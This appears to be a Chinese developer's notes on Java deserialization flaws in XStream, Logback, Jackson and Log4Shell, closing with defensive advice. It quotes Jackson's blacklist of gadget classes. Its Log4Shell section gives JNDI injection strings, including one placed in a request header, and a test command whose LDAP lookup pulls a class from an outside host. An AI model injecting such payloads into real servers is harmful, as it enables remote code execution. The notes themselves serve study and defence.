-
XML
-
XML 的反序列化攻击和 JSON 差不多,都是控制反序列化的 XML 字符串,传入恶意数据来攻击,但利用的点又有区别
-
拿去年公司要求修复的 XStream 漏洞【CVE-2021-21344】来说,要想理解相关漏洞,就需要先了解 XStream 自身的反序列化机制
-
XStream 在进行反序列化时,会要求类库调用者显式指定反序列化的类:
xstream.allowTypes(new Class[] { Xxxx.class })
,这样避免了 JSON 里通常利用的攻击点 -
XStream 反序列化是通过 converter 来进行的,不同类型的数据使用不同的 converter,所以攻击点一般也在这里。另外和 JSON 不同,XStream 不需要服务端启用
enableDefaultType
才可以在 XML 里携带 class 信息,相反,XStream 里的 class 信息是默认允许添加有的,这样攻击者就可以构造恶意数据来攻击了 -
可以看出,XML 的漏洞利用门槛要比 JSON 低很多。另外一般官方的修复也和 JSON 库一样采用黑名单机制,哪个类出问题就把哪个类加到黑名单里
-
具体流程待补充
序列化漏洞举例
-
以近期公司要求修复的【Logback 远程代码执行漏洞(CVE-2021-42550)】为例
-
这个漏洞就是一个 JNDI 注入漏洞,之所以会发生,是因为 Logback 支持通过 JNDI 查询来从外部获取日志配置信息,比如数据库或其他集中管理平台
-
Logback 对返回的数据校验不足。如果攻击者修改了 logback 的配置文件,将 JNDI 地址配置成了恶意地址,就有可能导致应用里反序列化恶意对象,从而执行恶意方法
-
从上面可以看到,这个漏洞要求攻击者有主机文件的写权限,所以虽然这个漏洞在公司内部被标记为高危,其实影响并不大。如果攻击者有写权限,那也说明这个主机沦陷了,那他也可以直接执行命令
-
之所以一般还是推荐修复,一个是公司安全政策,另一个就是漏洞的累积效应。每个漏洞单独看起来可能没有问题,但多个漏洞累积起来可能就会造成威胁
-
拿本漏洞来说,单独看问题不大,但也可能被用来提权。比如开发 A 有写入
logback.xml
的权限,应用是在运维 B 的权限下运行。攻击者获取了 A 的权限后,就可以让有 B 权限的应用执行命令来提权,从而让攻击者获取 B 的权限。这个场景只是人为制造来说说明问题,并不代表实际是这样的,所以容易修复最好修复,不容易修复具体问题就具体评估 -
具体到这个漏洞,官方的修复代码如下。可以看到修复方案就是直接把 logback 里 JNDI 的
lookup
给注释掉,其实就相当于废弃了 JNDI 功能,不过 logback 里用 JNDI 本来就特殊,升级到新版本的话估计影响不大
-
以近期公司要求修复的【Jackson-databind 反序列化漏洞(CVE-2021-20190)】为例
-
这个反序列化漏洞在上一节 JSON 里已经解释的很清楚了,只不过该漏洞用的不是
JdbcRowSetImpl
,而是javax.swing.JTextPane
-
注意,这里并不是说应用代码里没有用到
javax.swing.JTextPane
,就不会收到影响,而是说如果 Jackson 代码里允许了enableDefaultTyping
,只要依赖里有javax.swing.JTextPane
,就会受到攻击,而这是 JDK 里的类库,所以一般应用依赖里都有,除非用了 Java 的模块化排除 -
官方的修复方案也很简单,就是在自己的黑名单里把这个类给加上了
-
反序列化黑名单
-
要利用反序列化漏洞,一个关键点是被攻击的应用里要有一个可利用的危险类。下面是 Jackson 类库里的黑名单列表
-
从 Jackson 类库的黑名单列表里可以看出,这些危险的类可能是第三方依赖库,也有可能是 JDK 里的。说这些类危险,并不是说这些类本身存在着反序列化漏洞,而是说这些类本身会做反射的 invoke()、序列化的 resovleClass()、readObject()等等,同时这些类的这些操作有被攻击者恶意利用的危险
-
很多类库通过把这些类加入黑名单来防止反序列化攻击。当攻击者控制了反序列化的数据后,一般会在反序列化数据里指定这些危险类并构造对应的攻击数据,然后发送给被攻击侧应用进行攻击。Jackson 等类库在反序列化这些数据时,先判断要反序列化的类在不在黑名单,从而有效阻止这些攻击
-
黑名单的局限还是挺明显的。它只能发现一个攻击类处理一个攻击类,这样就一直处在应对状态。如果用白名单效果要好很多,也就是说我们定义一个列表,只允许列表内的数据进行反序列化。但第三方框架不可能知道应用要序列化的白名单列表,而应用自行维护白名单的工作量明显要高很多,因此黑名单还是主流应对方案
/**
* Set of well-known "nasty classes", deserialization of which is considered dangerous
* and should (and is) prevented by default.
*/
protected final static Set<String> DEFAULT_NO_DESER_CLASS_NAMES;
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
// [databind#2680]
s.add("org.springframework.aop.config.MethodLocatingFactoryBean");
s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean");
// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");
// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");
// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
// [databind#2186], [databind#2670]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
// [databind#2326] (2.9.9)
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
// [databind#2334]: logback-core (2.9.9.1)
s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");
// [databind#2387], [databind#2460]: EHCache
s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup");
// [databind#2389]: logback/jndi
s.add("ch.qos.logback.core.db.JNDIConnectionSource");
// [databind#2410]: HikariCP/metricRegistry config
s.add("com.zaxxer.hikari.HikariConfig");
// [databind#2449]: and sub-class thereof
s.add("com.zaxxer.hikari.HikariDataSource");
// [databind#2420]: CXF/JAX-RS provider/XSLT
s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
// [databind#2462]: commons-configuration / -2
s.add("org.apache.commons.configuration.JNDIConfiguration");
s.add("org.apache.commons.configuration2.JNDIConfiguration");
// [databind#2469]: xalan
s.add("org.apache.xalan.lib.sql.JNDIConnectionPool");
// [databind#2704]: xalan2
s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool");
// [databind#2478]: comons-dbcp, p6spy
s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource");
s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource");
s.add("com.p6spy.engine.spy.P6DataSource");
// [databind#2498]: log4j-extras (1.2)
s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource");
s.add("org.apache.log4j.receivers.db.JNDIConnectionSource");
// [databind#2526]: some more ehcache
s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector");
s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector");
// [databind#2620]: xbean-reflect
s.add("org.apache.xbean.propertyeditor.JndiConverter");
// [databind#2631]: shaded hikari-config
s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig");
// [databind#2634]: ibatis-sqlmap, anteros-core/-dbcp
s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig");
s.add("br.com.anteros.dbcp.AnterosDBCPConfig");
// [databind#2814]: anteros-dbcp
s.add("br.com.anteros.dbcp.AnterosDBCPDataSource");
// [databind#2642][databind#2854]: javax.swing (jdk)
s.add("javax.swing.JEditorPane");
s.add("javax.swing.JTextPane");
// [databind#2648], [databind#2653]: shire-core
s.add("org.apache.shiro.realm.jndi.JndiRealmFactory");
s.add("org.apache.shiro.jndi.JndiObjectFactory");
// [databind#2658]: ignite-jta (, quartz-core)
s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup");
s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory");
s.add("org.quartz.utils.JNDIConnectionProvider");
// [databind#2659]: aries.transaction.jms
s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory");
s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory");
// [databind#2660]: caucho-quercus
s.add("com.caucho.config.types.ResourceRef");
// [databind#2662]: aoju/bus-proxy
s.add("org.aoju.bus.proxy.provider.RmiProvider");
s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider");
// [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms
s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core
s.add("org.apache.activemq.ActiveMQXAConnectionFactory");
s.add("org.apache.activemq.spring.ActiveMQConnectionFactory");
s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory");
s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool
s.add("org.apache.activemq.pool.PooledConnectionFactory");
s.add("org.apache.activemq.pool.XaPooledConnectionFactory");
s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms
s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory");
// [databind#2666]: apache/commons-jms
s.add("org.apache.commons.proxy.provider.remoting.RmiProvider");
// [databind#2682]: commons-jelly
s.add("org.apache.commons.jelly.impl.Embedded");
// [databind#2688]: apache/drill
s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool");
// [databind#2698]: weblogic w/ oracle/aq-jms
// (note: dependency not available via Maven Central, but as part of
// weblogic installation, possibly fairly old version(s))
s.add("oracle.jms.AQjmsQueueConnectionFactory");
s.add("oracle.jms.AQjmsXATopicConnectionFactory");
s.add("oracle.jms.AQjmsTopicConnectionFactory");
s.add("oracle.jms.AQjmsXAQueueConnectionFactory");
s.add("oracle.jms.AQjmsXAConnectionFactory");
// [databind#2764]: org.jsecurity:
s.add("org.jsecurity.realm.jndi.JndiRealmFactory");
// [databind#2798]: com.pastdev.httpcomponents:
s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration");
// [databind#2826], [databind#2827]
s.add("com.nqadmin.rowset.JdbcRowSetImpl");
s.add("org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
复制代码
-
以上次修复的 XStream 远程代码执行反序列化漏洞【CVE-2021-29505】为例
log4j Shell 序列化漏洞攻击过程复现
-
我们以前段时间火遍全网的 Log4Shell 漏洞为例,一步步复现一下攻击过程和原理,从而对上面的理论说明做一个更深入的理解
-
Log4Shell 虽然也是一个 JNDI 漏洞,但它的特殊之处在于,利用门槛要远远低于一般的 JNDI 漏洞,所以危害很大,危险等级被 Apache 定为最高的 10 级。这个漏洞的利用门槛包括:
-
JDK 版本:这个漏洞无论 JDK 版本是多少都能不能拦截
-
log4j:版本参考漏洞说明
-
服务器:会基于 log4j 来记录用户传入的数据,有出访网络权限
-
利用原理
-
除了正常的日志记录,log4j 还支持占位符模式。比如我们可以在配置模板里写
${date:yyyy-MM-dd}
,那么 Log4j 在写实际日志时会将当前日期替换为形如 2022-03-21 这种格式记录下来。如果在模板里写${java:version}
,Log4j 就会获取实际的 JDK 版本将其记录下来 -
除了这些常规的,Log4j 还支持更复杂 JNDI 模式。如果实际生成日志是遇到
${jndi:xxx://ip:port/a}
这种模式,log4j 会真的执行 JNDI 查询,获取对应的数据,然后写入日志,这很明显有很大的问题 -
对一个应用来说,在日志里记录用户的搜索关键字、登录用户名等等很平常,如果用户把这个登录用户名、搜索关键字替换成 jndi 地址,当服务器记录时,就会执行 JNDI 查询,从而导致系统被攻击,qq 邮箱的搜索框、icloud 的用户名都是这样被攻击的
-
另外需要注意的是,只要日志里记录外部传输的恶意数据,就有可能会导致攻击,并不仅限于用户输入,比如说很多系统会采集参数、或者请求头,攻击者可以简单用个 api,请求参数里随便写,只要参数里携带
${jndi:xxx}
就会造成威胁。因为数据校验之前,请求参数已经写入系统日志里了。或者随便加个请求头cuostomXxxHeader: ${jndi:xxx}
,也能有一样的效果 -
这里一个重要的利用点是服务器的出访请求,这样攻击者才能让服务器下载自己的恶意脚本。一般服务器即使没有公网访出权限,也有内网访出权限,所以即使有公网出访限制,这个漏洞还是有一定的威胁,应该也要升级版本,以预防内网某台机器有问题导致所有机器都都有问题的情形
-
漏洞复现
-
网上有很多 log4j Shell 的 POC 代码,按说明就可以很方便的复现这个漏洞
-
我们这里的复现做了简化,下面是一个单文件运行示例,依赖了 2.14.1 版本的 log4j,然后从命令行读取参数,用 log4j 记录
-
运行
java Log4jShellAttack chendw
,就会输出 “hello: chendw”,这是正常流程 -
如果运行占位符,比如
java Log4jShellAttack ${java:version}
,log4j 会将占位符替换,输出对应的本机 Java 版本 -
更危险的是,我们可以传入 jndi 服务器路径,让 log4j 来下载对应的恶意代码。这里我们使用“log4shell.tools”网站提供的 ldap 服务来验证。当然你也可以自己本地部署一个 ldap 服务,或者 rmi 服务,或者其他任何 jndi 支持的协议
-
在“log4shell.tools”网站上获取一个自己特定的 url 作为参数传入 log4j,如果 log4j 去做了 lookup,该网站就会收到应用本机发的请求,从而下发对应的恶意服务,并将请求记录展现出来:
java Log4jShellAttack ${jndi:ldap://5bb26e33-4b30-4080-a3d2-5522a5b97d3b.dns.log4shell.tools:12345/5bb26e33-4b30-4080-a3d2-5522a5b97d3b}
-
从截图可以看出来,代码运行后输出的是
hello :Reference Class Name: Log4Shell
,说明 log4j 执行了 lookup 并获取了 ldap 恶意类,“log4shell.tools”也显示了我们应用向它发起过请求 -
另外,代码里之所以要设置
trustURLCodebase
是因为最新版 Java 现在禁止自动信任 RMI 和 LADP 下载的远程类,但现在用的大部分 JDK 都还是自动信任的。另外,这个禁止只是防止了在这个漏洞里使用 rmi 和 ladp 来下载恶意类,我们还可以利用其它方式来利用这个漏洞。因此这个漏洞并不能靠升级 JDK 版本来解决,一定要升级 log4j 版本
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jShellAttack {
private static final Logger logger = LogManager.getLogger(Log4jShellAttack.class);;
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String username = args[0];
logger.error("hello :" + username);
}
}
复制代码
-
分析了这个漏洞后,首先想到的就是 Unix 哲学里推崇的“Write programs that do one thing and do it well.”还是很有道理的。JNID 这个功能点在日志框架里被用到的几率感觉极其小,logback 注掉了 JNDI 功能,也没看到网上有人反馈升级后用不了。不怎么用的功能却带来了大部分问题,而且影响的还包括没使用这个功能点的用户,这就得不偿失了。日志框架应该只专注常规功能,特有功能的话应该通过插件来提供,谁用谁配置。Java 其实也有向这个趋势发展,比如 Java 模块化系统,用什么显式配置什么,我不用
javax.swing
,就不会经常受到swing
包里那些类的影响
Java 序列化的改进
-
Java 引入序列化功能的时间太长了,太多应用和库依赖于 Java 现有的序列化功能,因此废弃现有序列化机制是不可想象的
-
Java 应对自身序列化问题的主要方法是,提供一个只序列化数据而不需要序列化对象状态的渠道。具体来说就是 java16 引入的
record
。record
引入虽然主要是为了减少模板代码,但同时也提供了一个新的序列化机制。在新的序列化机制下,record
的序列化是通过构造器初始化,然后走访问器 get/set,当然这个机制主要是针对数据类,但我们实际开发中的大部分场景,不管是 api 接口数据、前后端数据交互、缓存数据存储,和序列化相关的其实大部分都是数据类。因此感觉record
已经能满足我们大部分序列化需求了 -
针对非数据类,Java 计划提供注解或其他方式,来让我们自己控制序列化和反序列化,但这种工作量明显更大,而现存的
Externalizable
在某种程度上也能实现这个功能,但效果还是差强人意 -
Java9(JEP 290)还引入了一个全局的反序列化过滤器,这样你就可以在反序列化之前验证传入的数据流,但对复杂场景来说这个过滤器有其局限性,后来 JEP 415 又提供了过滤器工厂来尝试完全解决这个局限性,让我们的过滤器可配置并在 JVM 范围内起作用,但用的人好像很少
-
综上,感觉实际开发中 Java 的序列化还是用
record
比较好
如何避免 Java 序列化漏洞
-
不反序列化不信任的外部数据,至少在反序列化外部输入数据时要想一下
-
在反序列化的时候尽量使用具体类,不要使用 Object 或太通用的基础接口:
objectMapper.readValue(json, Object.class);
-
使用 Jackson 时不要启动
enableDefaultType
功能 -
更新到最新的库
-
做出访限制:很多攻击都依赖于服务器对外访问,来下载恶意脚本,或向外发送本地数据。出访白名单能限制大部分的漏洞攻击